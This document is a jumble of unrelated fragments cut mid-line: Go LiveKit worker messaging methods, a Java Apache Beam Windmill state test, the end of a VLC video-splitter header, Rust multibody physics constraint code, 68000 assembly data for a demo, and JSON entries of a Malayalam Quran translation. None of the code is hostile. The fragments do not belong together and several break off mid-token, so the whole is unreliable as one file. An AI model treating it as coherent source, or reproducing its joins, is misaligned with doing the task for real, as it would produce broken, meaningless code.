	w.sendMessage(&livekit.WorkerMessage{Message: &livekit.WorkerMessage_UpdateJob{
		UpdateJob: m,
	}})
}

func (w *AgentWorker) SendPing(m *livekit.WorkerPing) {
	w.sendMessage(&livekit.WorkerMessage{Message: &livekit.WorkerMessage_Ping{
		Ping: m,
	}})
}

func (w *AgentWorker) SendSimulateJob(m *livekit.SimulateJobRequest) {
	w.sendMessage(&livekit.WorkerMessage{Message: &livekit.WorkerMessage_SimulateJob{
		SimulateJob: m,
	}})
}

func (w *AgentWorker) SendMigrateJob(m *livekit.M


FromUtf8(namespace.stringKey() + "+s" + addrId);
  }

  private static <T> ByteString encodeWithCoder(T key, Coder<T> coder) {
    ByteStringOutputStream out = new ByteStringOutputStream();
    try {
      coder.encode(key, out, Context.OUTER);
    } catch (IOException e) {
      throw new RuntimeException(e);
    }
    return out.toByteString();
  }

  // We use the structural value of the Multimap keys to differentiate between different keys. So we
  // mix using the original key object and a duplicate but same key object so make sure the
  // correctness.
  private static byte[] dup(byte[] key) {
    byte[] res = new byte[key.length];
    System.arraycopy(key, 0, res, 0, key.length);
    return res;
  }

  private static Map.Entry<ByteString, Iterable<Integer>> multimapEntry(
      byte[] key, Integer... values) {
    return new AbstractMap.SimpleEntry<>(
        encodeWithCoder(key, ByteArrayCoder.of()), Arrays.asList(values));
  }

  @SafeVarargs
  private static <T> List<T> weightedList(T... entries) {
    WeightedList<T> list = new WeightedList<>(new ArrayList<>());
    for (T entry : entries) {
      list.addWeighted(entry, 1);
    }
    return list;
  }

  private static CombinableMatcher<Object> multimapEntryMatcher(byte[] key, Integer value) {
    return Matchers.both(Matchers.hasProperty("key", Matchers.equalTo(key)))
        .and(Matchers.hasProperty("value", Matchers.equalTo(value)));
  }

  private static MultimapEntryUpdate decodeTagMultimapEntry(Windmill.TagMultimapEntry entryProto) {
    try {
      String key = StringUtf8Coder.of().decode(entryProto.getEntryName().newInput(), Context.OUTER);
      List<Integer> values = new ArrayList<>();
      for (ByteString value : entryProto.getValuesList()) {
        values.add(VarIntCoder.of().decode(value.newInput(), Context.OUTER));
      }
      return new MultimapEntryUpdate(key, values, entryProto.getDeleteAll());
    } catch (IOException e) {
      throw new RuntimeException(e);
    }
  }

  private static void assertTagMultimapUpdates(
      Windmill.TagMultimapUpdateRequest.Builder updates, MultimapEntryUpdate... expected) {
    assertThat(
        updates.getUpdatesList().stream()
            .map(WindmillStateInternalsTest::decodeTagMultimapEntry)
            .collect(Collectors.toList()),
        Matchers.containsInAnyOrder(expected));
  }

  @Before
  public void setUp() {
    MockitoAnnotations.initMocks(this);
    options = PipelineOptionsFactory.as(DataflowWorkerHarnessOptions.class);
    cache = WindmillStateCache.builder().setSizeMb(options.getWorkerCacheMb()).build();
    cacheViaMultimap =
        WindmillStateCache.builder()
            .setSizeMb(options.getWorkerCacheMb())
            .setSupportMapViaMultimap(true)
            .build();
    resetUnderTest();
  }

  public void resetUnderTest() {
    workToken++;
    underTest =
        new WindmillStateInternals<>(
            "dummyKey",
            STATE_FAMILY,
            mockReader,
            false,
            cache
                .forComputation("comp")
                .forKey(
                    WindmillComputationKey.create(
                        "comp", ByteString.copyFrom("dummyKey", StandardCharsets.UTF_8), 123),
                    17L,
                    workToken)
                .forFamily(STATE_FAMILY),
            WindmillStateTagUtil.instance(),
            readStateSupplier);
    underTestNewKey =
        new WindmillStateInternals<String>(
            "dummyNewKey",
            STATE_FAMILY,
            mockReader,
            true,


src )
{
    return p_splitter->pf_filter( p_splitter, pp_dst, p_src );
}
static inline int video_splitter_Mouse( video_splitter_t *p_splitter,
                                        vlc_mouse_t *p_mouse,
                                        int i_index,
                                        const vlc_mouse_t *p_old, const vlc_mouse_t *p_new )
{
    if( !p_splitter->pf_mouse )
    {
        *p_mouse = *p_new;
        return VLC_SUCCESS;
    }
    return p_splitter->pf_mouse( p_splitter, p_mouse, i_index, p_old, p_new );
}

#endif /* VLC_VIDEO_SPLITTER_H */


d + dof_id] = force;
        assert!(self.inv_augmented_mass.solve_mut(&mut out));
    }

    /// Convert a generalized force applied to the link `rb_id`'s degrees of freedom into generalized accelerations.
    pub fn inv_mass_mul_joint_force(
        &self,
        rb_id: MultibodyLinkId,
        force: DVectorSlice<N>,
        out: &mut [N],
    ) {
        let rb = &self.rbs[rb_id.internal_id];
        let ndofs = rb.dof.ndofs();

        let mut out = DVectorSliceMut::from_slice(out, self.ndofs);
        out.fill(N::zero());
        out.rows_mut(rb.assembly_id, ndofs).copy_from(&force);
        assert!(self.inv_augmented_mass.solve_mut(&mut out));
    }

    /// The augmented mass (inluding gyroscropic and coriolis terms) in world-space of this multibody.
    pub fn augmented_mass(&self) -> &DMatrix<N> {
        &self.augmented_mass
    }

    /// Generates the set of velocity and position constraints needed for joint limits and motors at each link
    /// of this multibody.
    pub fn constraints(
        &mut self,
        params: &IntegrationParameters<N>,
        ext_vels: &DVector<N>,
        ground_j_id: &mut usize,
        jacobians: &mut [N],
        constraints: &mut ConstraintSet<N>,
    ) {
        let first_unilateral = constraints.velocity.unilateral_ground.len();
        let first_bilateral = constraints.velocity.bilateral_ground.len();

        for link in self.links() {
            link.joint().velocity_constraints(
                params,
                &link,
                self.companion_id,
                0,
                ext_vels.as_slice(),
                ground_j_id,
                jacobians,
                constraints,
            );

            if link.joint().num_position_constraints() != 0 {
                let generator =
                    MultibodyJointLimitsNonlinearConstraintGenerator::new(link.handle());
                constraints.position.multibody_limits.push(generator)
            }
        }

        self.unilateral_ground_rng = first_unilateral..constraints.velocity.unilateral_ground.len();
        self.bilateral_ground_rng = first_bilateral..constraints.velocity.bilateral_ground.len();
    }

    /// Store impulses computed by the solver for joint limits and motors.
    pub fn cache_impulses(&mut self, constraints: &ConstraintSet<N>) {
        for constraint in
            &constraints.velocity.unilateral_ground[self.unilateral_ground_rng.clone()]
        {
            self.impulses[constraint.impulse_id] = constraint.impulse;
        }

        for constraint in &constraints.velocity.bilateral_ground[self.bilateral_ground_rng.clone()]
        {
            self.impulses[constraint.impulse_id] = constraint.impulse;
        }
    }
}

/// Iterator through all the multibody links.
pub struct MultibodyLinks<'a, N: Real> {
    mb: &'a Multibody<N>,
    curr: MultibodyLinkId,
}

impl<'a, N: Real> Iterator for MultibodyLinks<'a, N> {
    type Item = MultibodyLinkRef<'a, N>;

    #[inline]
    fn next(&mut self) -> Option<MultibodyLinkRef<'a, N>> {
        if self.curr.internal_id < self.mb.rbs.len() {
            let res = self.mb.link(self.curr);
            self.curr.internal_id += 1;
            Some


                                "
 DC.B "                                                                "
 dc.b $ff
	even
colours	dc.w	$300,$400,$500,$600,$700,$720,$730,$740,$750
	dc.w	$760,$770,$671,$572,$473,$474,$375

storage	ds.b	14
tune	incbin	gore2.thk
pfont	incbin	oz_font.dat
ppic	incbin	pacifist.pi1

	even

;	ifeq	DOWNLOAD
*******************
;   SECTION BSS
*******************
;	endc

		ds.b	256
pscreens	ds.b	32000
		ds.b	32000

fiddle	equ	pscreens-32000

;	IFNE	DOWNLOAD
;Code_End
;Code_Length	equ	Code_End-Code_Start
;	ENDC
stop


 നല്‍കിയിരിക്കുന്നു. നിങ്ങള് യാത്ര ചെയ്യുന്ന ദിവസവും നിങ്ങള് താവളമടിക്കുന്ന ദിവസവും നിങ്ങള് അവ അനായാസം ഉപയോഗപ്പെടുത്തുന്നു. ചെമ്മരിയാടുകളുടെയും ഒട്ടകങ്ങളുടെയും കോലാടുകളുടെയും രോമങ്ങളില് നിന്ന് ഒരു അവധി വരെ ഉപയോഗിക്കാവുന്ന വീട്ടുപകരണങ്ങളും ഉപഭോഗസാധനങ്ങളും (അവന് നല്‍കിയിരിക്കുന്നു.)"
  },
  {
    "surah_number": 16,
    "verse_number": 81,
    "content":
        "അല്ലാഹു താന് സൃഷ്ടിച്ച വസ്തുക്കളില് നിന്നു നിങ്ങള്‍ക്കു തണലുകളുണ്ടാക്കിത്തരികയും, നിങ്ങള്‍ക്ക് പര്‍വ്വതങ്ങളില് അവന് അഭയ കേന്ദ്രങ്ങളുണ്ടാക്കുകയും ചെയ്തിരിക്കുന്നു. നിങ്ങളെ ചൂടില് നിന്നു കാത്തുരക്ഷിക്കുന്ന ഉടുപ്പുകളും, നിങ്ങള് അന്യോന്യം നടത്തുന്ന ആക്രമണത്തില് നിന്ന് നിങ്ങളെ കാത്തുരക്ഷിക്കുന്ന കവചങ്ങളും അവന് നിങ്ങള്‍ക്കു നല്‍കിയിരിക്കുന്നു. അപ്രകാരം അവന